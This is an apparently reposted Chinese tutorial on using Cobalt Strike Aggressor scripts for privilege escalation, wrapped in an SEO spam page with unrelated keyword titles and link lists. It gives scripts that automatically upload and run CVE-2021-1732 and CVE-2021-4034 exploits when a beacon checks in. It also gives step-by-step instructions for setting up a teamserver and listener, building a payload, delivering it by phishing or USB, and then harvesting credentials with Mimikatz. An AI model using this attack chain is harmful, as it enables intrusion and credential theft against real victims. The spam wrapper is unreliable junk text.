当前位置: 首页 > wzjs >正文

自己做返利网站宜春做网站 黑酷seo

自己做返利网站,宜春做网站 黑酷seo,如何在网站上做免费广告,杭州优化商务服务公司目录 1. Aggressor脚本是什么?如何提权? 2. 这种脚本提权针对什么漏洞? 3. 如何发现可用于CS提权的漏洞? 4. Windows和Linux利用Aggressor脚本提权的全过程 Windows提权:CVE-2021-1732 (Win32k提权) Linux提权&a…

目录

1. Aggressor脚本是什么?如何提权?

2. 这种脚本提权针对什么漏洞?

3. 如何发现可用于CS提权的漏洞?

4. Windows和Linux利用Aggressor脚本提权的全过程

Windows提权:CVE-2021-1732 (Win32k提权)

Linux提权:CVE-2021-4034 (pkexec提权)

5. 提权能达到的权限类型

6. 从CS新建监听器到提权的详细方案

目标:Windows 10提权至SYSTEM

工具:CS + Aggressor脚本 + CVE-2021-1732


1. Aggressor脚本是什么?如何提权?

Aggressor脚本简介 Aggressor脚本是Cobalt Strike内置的一种脚本语言(基于Sleep),用于自定义和自动化CS的功能。它运行在Beacon(CS的后门代理)上,可以调用系统命令、加载模块、执行payload或与目标交互。提权是其常见应用,通过脚本调用漏洞利用代码或CS内置功能(如elevate模块)提升权限。

提权原理

  • 信息收集:脚本枚举目标系统信息(如OS版本、补丁状态、权限)。

  • 漏洞利用:根据信息匹配已知漏洞,执行提权payload。

  • 权限提升:从低权限(如普通用户)提升至高权限(如SYSTEM或root)。


2. 这种脚本提权针对什么漏洞?

Aggressor脚本本身不局限于特定漏洞,而是通过灵活性适配各种提权场景。常见的漏洞类型包括:

  • Windows

    • 内核漏洞(如CVE-2021-1732、CVE-2020-0796 SMBGhost)。

    • 权限配置错误(如SeImpersonatePrivilege滥用)。

  • Linux

    • 内核漏洞(如CVE-2021-4034 pkexec、Dirty COW)。

    • SUID/SUDO误配置。

具体漏洞取决于目标系统的版本和补丁状态。


3. 如何发现可用于CS提权的漏洞?

发现流程

  1. 系统枚举:用脚本运行systeminfo(Windows)或uname -a(Linux)收集版本信息。

  2. 权限检查:用whoamiid确认当前权限。

  3. 漏洞扫描

    • 调用外部工具(如PowerSploit或linux-exploit-suggester)。

    • 检查已知漏洞列表(如Exploit-DB)。

  4. 自动化验证:脚本对比系统信息与漏洞条件,确认可利用性。


4. Windows和Linux利用Aggressor脚本提权的全过程

Windows提权:CVE-2021-1732 (Win32k提权)

环境

  • 系统:Windows 10 20H2。

  • 当前权限:普通用户。

  • CS版本:最新。

步骤

  1. 脚本 - 信息收集

    sub gather_info {println("[*] Gathering system info...");$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0;
    }
  2. 上传exploit

    • 准备CVE-2021-1732的EXE文件。

    sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded");
    }
  3. 执行提权

    sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(2000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");}
    }
  4. 完整脚本

    on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  5. 执行:加载脚本,Beacon上线后自动提权。

Linux提权:CVE-2021-4034 (pkexec提权)

环境

  • 系统:Ubuntu 20.04。

  • 当前权限:普通用户。

步骤

  1. 脚本 - 信息收集

    sub gather_info {$uname = bshell($1, "uname -a");if ($uname =~ /Ubuntu 20.04/) {println("[+] Vulnerable to CVE-2021-4034");return 1;}return 0;
    }
  2. 上传并编译exploit

    sub upload_exploit {bupload($1, "/tmp/pkexec.c");bshell($1, "gcc /tmp/pkexec.c -o /tmp/pkexec");println("[+] Exploit compiled");
    }
  3. 执行提权

    sub run_elevation {bshell($1, "/tmp/pkexec");sleep(2000);$check = bshell($1, "id");if ($check =~ /root/) {println("[+] Elevated to root");}
    }
  4. 完整脚本

    on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  5. 执行:加载脚本,提权至root。


5. 提权能达到的权限类型

  • Windows:最高NT AUTHORITY\SYSTEM,完全控制系统。

  • Linux:最高root,拥有所有权限。

  • 限制:取决于初始权限和漏洞利用成功率。


6. 从CS新建监听器到提权的详细方案

目标:Windows 10提权至SYSTEM
工具:CS + Aggressor脚本 + CVE-2021-1732

完整方案

  1. 启动CS Team Server

    • 在攻击机运行:

      ./teamserver <攻击机IP> <密码> [profile]
    • 例如:./teamserver 192.168.1.100 password123

  2. 创建监听器

    • 打开CS客户端,连接Team Server。

    • 导航至Cobalt Strike -> Listeners -> Add

      • Name:HTTP_Listener

      • Payload:windows/beacon_http

      • Host:192.168.1.100

      • Port:80

      • 保存并启动。

  3. 生成Payload

    • Attacks -> Packages -> Windows Executable

      • 选择HTTP_Listener

      • 输出格式:EXE。

      • 生成payload.exe并下载。

  4. 投递Payload

    • payload.exe通过钓鱼邮件、USB等方式投递至目标。

    • 目标执行后,Beacon上线。

  5. 确认Beacon上线

    • 在CS客户端查看Beacon列表,确认目标IP和用户。

  6. 编写Aggressor脚本

    sub check_priv {$whoami = bshell($1, "whoami");println("[*] Current user: $whoami");if ($whoami =~ /system/) {println("[+] Already SYSTEM");exit;}
    }
    ​
    sub gather_info {$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0;
    }
    ​
    sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded");
    }
    ​
    sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(3000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");} else {println("[-] Elevation failed");}
    }
    ​
    on beacon_initial {check_priv($1);if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  7. 加载脚本

    • View -> Script Manager -> Load,选择上述脚本。

  8. 提权执行

    • Beacon上线后,脚本自动运行,提权至SYSTEM。

  9. 验证与后续

    • 输入shell whoami,确认nt authority\system

    • 可加载Mimikatz提取凭据或进行横向移动。


文章转载自:

http://0qWyKVpR.snzdf.cn
http://tSJXqddj.snzdf.cn
http://JMDWOo2a.snzdf.cn
http://xob6mHaX.snzdf.cn
http://qNlmXr7F.snzdf.cn
http://yR9VmVeC.snzdf.cn
http://3kBm6RYF.snzdf.cn
http://E4oA353U.snzdf.cn
http://kbmvtHth.snzdf.cn
http://orWIvII8.snzdf.cn
http://TeSNSPr6.snzdf.cn
http://J7D0K3Pc.snzdf.cn
http://Vc7VSLkY.snzdf.cn
http://LxOenrAZ.snzdf.cn
http://B3nzpKy8.snzdf.cn
http://7B2aHljo.snzdf.cn
http://qGmIe1YB.snzdf.cn
http://aurJwTtZ.snzdf.cn
http://aeE08RpF.snzdf.cn
http://EcBgOEjX.snzdf.cn
http://gqhVKmoI.snzdf.cn
http://KKEkUMLW.snzdf.cn
http://3yUxDcBb.snzdf.cn
http://RFUSLWSU.snzdf.cn
http://9ICCgHps.snzdf.cn
http://L7eXzTMg.snzdf.cn
http://NgnZlc9J.snzdf.cn
http://WIRLYREq.snzdf.cn
http://U1OO4Zpt.snzdf.cn
http://bWg4QGg6.snzdf.cn
http://www.dtcms.com/wzjs/642697.html

相关文章:

  • 2002年做网站多少钱搜狗站长工具平台
  • 备案用的网站建设方案书怎么写电商网店代运营
  • dw做的网站链接wordpress 小米商城主题
  • 深圳网站建设公司企业名录搜索软件下载
  • 九江做网站哪家便宜做网站建设公司怎么选
  • 石大远程在线考试 《网页设计与网站建设》做网站能创业吗
  • 谷歌地图嵌入网站php班级网站建设
  • 网站域名注册地址wordpress副标题怎么写
  • 织梦网站installwordpress设置分享
  • 网站建设三原则清远住房和城乡建设部网站
  • 专业做财务公司网站直接网址登录wordpress
  • 网站建设实施方式wordpress4.7.2写文章
  • 网站推广页面设计中小企业网站建设与推广分析
  • 女生网站开发关于asp sql网站开发的书籍
  • 网站如何留住客户上海搜索引擎优化seo
  • 制作网站的视频教程tomcat做的网站打不开了
  • 网站备案太久了滕州网站建设培训
  • 济宁有做企业网站吗装修公司名字
  • 湖北住房和城乡建设厅官方网站三网合一网站报价
  • 做网站都需要准备什么软件上海网站建设开发哪家
  • 陕西省建设网官网综合服务中心知乎推广优化
  • 怎么在网站添加链接怎样做一个自己的网站
  • 自己做本地视频网站好人有好报
  • 大港油田建设官方网站平台搭建心得
  • 怎么做网站不会被屏蔽网站色彩
  • 服务器做视频网站网站会更改吗
  • 网站开发的计划书廊坊网站建设-纵横网络+网站
  • 网站建设用什么语言开发wordpress如何在页首添加登录账号
  • 天津手机网站建设制作网站开发数据库技术
  • 网站数据库安装教程做国际网站有用吗